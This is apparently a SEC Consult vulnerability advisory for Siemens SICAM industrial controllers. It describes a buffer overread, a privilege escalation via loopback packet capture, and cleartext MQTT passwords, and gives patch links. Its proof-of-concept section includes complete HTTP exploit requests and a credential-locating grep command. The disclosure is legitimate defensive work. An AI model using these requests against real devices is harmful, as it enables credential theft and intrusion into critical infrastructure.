Vendor description
"We are a technology company focused on industry, infrastructure, transport, and healthcare. From more resource-efficient factories, resilient supply chains, and smarter buildings and grids, to cleaner and more comfortable transportation as well as advanced healthcare, we create technology with purpose adding real value for customers."
Source: https://new.siemens.com/global/en/company/about.html
Business recommendation
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484)
The webserver running on the CP-8050 and CP-8031 is vulnerable to a buffer overread vulnerability.
The value of the HTTP header "Session-ID" is processed and used in a "strncpy" call without proper termination. Thus, data structures from the BSS segment will be leaked in the response. Attackers might be able to read sensitive data from memory.
2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485)
An attacker with an account with the viewer (or higher) role can intercept unencrypted traffic of other users of the web interface. Thus, the attacker can intercept higher privileged user accounts and passwords and might gain access to their accounts to perform tasks with elevated privileges.
3) Unsafe Storage of MQTT Client Passwords (Only CP-8031/CP-8050, CVE-2024-31486)
A PLC with the OPUPI0 MQTT application installed is able to connect to an MQTT server. The configured MQTT password for the server is stored in cleartext on the device and can be read by exploiting a potential code execution or file disclosure vulnerability or with physical access to the device.
Proof of concept
1) Buffer Overread (Only CP-8000/CP-8021/CP-8022/CP-8031/CP-8050/CPCX26/PCCX26/ETA4/ETA5, CVE-2024-31484)
The buffer overread can be triggered by sending a "Session-ID" in the HTTP request header with exactly 20 bytes. This can be done with e.g. this request:
POST /SICAM_TOOLBOX_1703_remote_connection_00.htm HTTP/1.1
User-Agent: SICAM TOOLBOX II
Version: 1
Session-ID: 3814280BA9921c6cAAAA
Sequence-ID: 1
Content-Length: 8
Content-Type: text/plain
KeepAlive: 5
Connection: close
type=3
The server answers with following response:
HTTP/1.1 200 OK
Server: SICAM 1703
Version: 1
Session-ID: 3814280BA9921c6cAAAAæk¤
Cache-Control: max-age=0, private
X-Frame-Options: sameorigin
Strict-Transport-Security: max-age=31536000; includeSubdomains
Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval'
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
Content-Length: 71
Connection: close
Date: Wed, 30 Mar 2022 01:38:37 GMT
Sequence-ID: 1
Content-Type: text/plain
Content-Length: 8
type=4
The Session-ID in the response leaks at least 4 additional bytes. Further, the structure of the response is broken, as some HTTP headers are suddenly part of the body.
The vulnerability most likely stems from a misuse of the strncpy function. The following code segment was analyzed (RTUM85.elf, Offset 0x1d50de):
ptr_fcgi_header = get_fcgi_param(fcgi_struct, "HTTP_SESSION_ID);
if (ptr_fcgi_header == (char*) 0x00) goto LAB_001d4a66;
if ( is_a_session_available == 0 ) {
strncpy(&session_id, ptr_fcgi_header, 0x14);
}
strncpy is called with a length parameter of 0x14. To trigger the vulnerability, we are sending exactly 0x14 bytes. Thus, we believe that the global session_id variable is never properly terminated with a Null-pointer.
libc's documentation even contains a warning for this case: "If there is no null byte among the first n bytes of src, the string placed in dest will not be null-terminated."
Thus, if the response is built, every data structure in BSS following the session_id global will be printed as string until a Null byte is encountered.
2) Privilege Escalation (Only CP-8031/CP-8050 and SICORE devices, CVE-2024-31485)
An attacker with an account with the viewer (or higher) role can intercept unencrypted traffic of other users of the web interface. Thus, the attacker can intercept higher privileged user accounts and passwords.
By starting the Ethernet Packet Capture (Home -> Monitoring & Simulation -> Ethernet Packet Capture), a request is sent. This request can be modified by an interceptor proxy (e.g. Burp Suite).
POST /sicweb-ajax/rtum85/cview HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT
Content-Length: 198
Origin: http:// HOST
Connection: close
Referer: http:// HOST/
<?xml version="1.0" encoding="UTF-8"?>
<Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0">
<value>lo</value>
</parameter></view></Cmd_SetCustomViewValue>
The attacker can then send the parameter id p0 to the value "lo" and start the packet capture in order to dump from the loopback interface. It is a valid interface, as it only consist of lowercase characters and numbers (fix for CVE-2023-33919).
However, the webserver implements TLS in a stunnel fashion. It accepts all TLS traffic on port 443, then decrypts it and forwards it via loopback interface to port 80. By being able to read the loopback traffic, an attacker can now see all communication, including passwords of higher privileged users.
3) Unsafe Storage of MQTT Passwords (Only CP-8031/CP-8050, CVE-2024-31486)
To demonstrate the issue, the following parameters were set for the MQTT client using the Siemens Toolbox II:
- "8 MQTT password" mqtt_pw_sectest
- "9 MQTT username" mqtt_sectest
The password (together with the username) can be located in the /ies/data/local/system/iescfg.iar file on the device, which can be retrieved by shell access/code execution on the device or by desoldering and reading its unencrypted flash memory chip:
grep -rain "mqtt_pw_sectest" /ies/data/local/system/iescfg.iar
[...]
mqtt
mqtt_sectest.
mqtt_pw_sectest.
< MQTT_Broker
[...]
Vulnerable / tested versions
The following version has been tested which was the latest version available at the time of the test:
Vulnerability 1 and 2 were confirmed on Siemens SICAM A8000 CP-8031 V05.12
Vulnerability 3 was confirmed on Siemens A8000 CP-8050 V04.92
Vendor contact timeline
Solution
The vendor provides a patch which can be downloaded at the following URLs depending on the affected device:
CPC80 Central Processing/Communication: The firmware CPC80 V16.41 is present within “CP-8000/CP-8021/CP-8022 Package” V16.41
https://support.industry.siemens.com/cs/ww/en/view/109812178/
CPCI85 Central Processing/Communication: The firmware CPCI85 V5.30 is present within "CP-8031/CP-8050 Package" V5.30
https://support.industry.siemens.com/cs/ww/en/view/109804985/
SICORE Base system: The firmware SICORE V1.3.0 is present within "SICAM 8 Software Solution Package" V5.30
https://support.industry.siemens.com/cs/ww/en/view/109818240/
OPUPI0 AMQP/MQTT: The firmware OPUPI0 V5.30 is present within "CP-8031/CP-8050 Package" V5.30
https://support.industry.siemens.com/cs/ww/en/view/109804985/
CPCX26 Central Processing/Communication: The firmware CPCX26 V06.02 is present within “SICAM RTUs AK3 Package” V06.02
https://support.industry.siemens.com/cs/ww/en/view/109813252/
PCCX26 Ax 1703 PE, Contr, Communication Element: The firmware PCCX26 V06.05 is present within “SICAM RTUs AK3 Package” V06.02
https://support.industry.siemens.com/cs/ww/en/view/109813252/
ETA4 Ethernet Interface IEC60870-5-104: The firmware ETA4 V10.46 is present within “SICAM RTUs AK3 Package” V06.02
https://support.industry.siemens.com/cs/ww/en/view/109813252/
ETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: The firmware ETA5 V03.27 is present within “SICAM RTUs AK3 Package” V06.02
https://support.industry.siemens.com/cs/ww/en/view/109813252/
Additional information from the vendor can be found in their advisories:
https://cert-portal.siemens.com/productcert/html/ssa-871704.html
https://cert-portal.siemens.com/productcert/html/ssa-620338.html
Workaround
Limit network and physical access to the PLC.
Advisory URL
https://sec-consult.com/vulnerability-lab/
EOF Stefan Viehboeck, Steffen Robertz, Gerhard Hechenberger, Constantin Schieber-Knoebl @2024
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